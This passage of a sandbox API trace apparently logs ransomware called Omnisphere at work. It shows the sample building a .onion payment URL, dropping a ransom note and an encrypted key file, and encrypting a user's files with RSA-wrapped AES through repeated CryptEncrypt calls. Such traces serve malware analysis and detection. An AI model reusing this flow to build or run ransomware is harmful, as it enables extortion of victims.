dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.075] GetProcessHeap () returned 0x1600000 [0119.075] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afbe8 [0119.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afbe8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.076] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.076] GetProcessHeap () returned 0x1600000 [0119.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a26a0 [0119.076] PathCombineW (in: pszDest=0x16a26a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.076] GetProcessHeap () returned 0x1600000 [0119.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a5148 [0119.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.076] WriteFile (in: hFile=0x28c, lpBuffer=0x16a5148*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a5148*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.076] CloseHandle (hObject=0x28c) returned 1 [0119.076] GetProcessHeap () returned 0x1600000 [0119.076] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e710 | out: hHeap=0x1600000) returned 1 [0119.076] GetProcessHeap () returned 0x1600000 [0119.076] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.076] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.077] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.077] CloseHandle (hObject=0x28c) returned 1 [0119.077] GetProcessHeap () returned 0x1600000 [0119.077] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.077] GetProcessHeap () returned 0x1600000 [0119.077] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c0c8 | out: hHeap=0x1600000) returned 1 [0119.077] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2198f98a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2198f98a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2198f98a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5f1, dwReserved0=0x0, dwReserved1=0xd3, cFileName="6XR7YRGHkty.lnk", cAlternateFileName="6XR7YR~1.LNK")) returned 1 [0119.077] GetProcessHeap () returned 0x1600000 [0119.077] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656778 [0119.077] PathCombineW (in: pszDest=0x1656778, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="6XR7YRGHkty.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk" [0119.077] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6XR7YRGHkty.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6xr7yrghkty.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.077] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1521) returned 1 [0119.077] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xcd, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.077] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0119.078] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f1, lpName=0x0) returned 0x288 [0119.078] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0119.078] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.078] CloseHandle (hObject=0x288) returned 1 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.078] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] GetTickCount () returned 0x115dc14 [0119.079] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0119.079] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0119.079] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.079] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.079] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0119.079] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f1, lpName=0x0) returned 0x288 [0119.080] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f1) returned 0x1480000 [0119.080] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16681b8) returned 1 [0119.089] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.089] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.089] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.090] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.091] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.092] CryptEncrypt 